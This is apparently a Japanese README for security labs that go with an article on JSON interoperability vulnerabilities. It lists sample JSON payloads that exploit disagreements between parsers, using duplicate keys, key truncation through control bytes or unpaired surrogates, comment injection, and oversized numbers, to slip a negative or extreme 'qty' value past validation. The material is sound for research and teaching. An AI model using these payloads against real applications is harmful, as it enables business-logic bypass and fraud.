
これらは、私の調査記事「JSON相互運用性の脆弱性の探求」に付随するラボです。
これらのラボは、デフォルトでホストのポート5000〜5004にバインドされます。
一貫性のない重複キーの優先順位
{"qty": 1, "qty": -1}
文字の切り捨て
最後のキー優先パーサーにおける切り捨て(最初のキー優先の場合は順序を逆にする)
{"qty": 1, "qty\<raw \x0d byte here>": -1}
{"qty": 1, "qty\ud800": -1} # Any unpaired surrogate U+D800-U+DFFF
{"qty": 1, "qty"": -1}
{"qty": 1, "qt\y": -1}
コメントの切り捨て
これらのドキュメントは、コメントと引用符なし文字列のサポートが一貫していないことを悪用します:
{"qty": 1, "extra": 1/*, "qty": -1, "extra2": 2*/}
{"qty": 1, "extra": a/*, "qty": -1, "extra2": b*/}
{"qty": 1, "extra": "a/*", "qty": -1, "extra2": "b"*/}
{"qty": 1, "extra": "a"//, "qty": -1}
一貫性のない大きな数値のデコード
これらの大きな数値は文字列(例: "+Infinity")に変換される可能性があり、型の取り違え(type juggling)による脆弱性につながる可能性があります。あるいは、MAX_INT/MIN_INT、丸められた値、または0に変換されることで、ビジネスロジックのバイパスを許す可能性があります。
{"qty": 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999}
{"qty": -999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999}
{"qty": 1.0e4096}
{"qty": -1.0e4096}
Twitter: @theBumbleSec
GitHub: the-bumble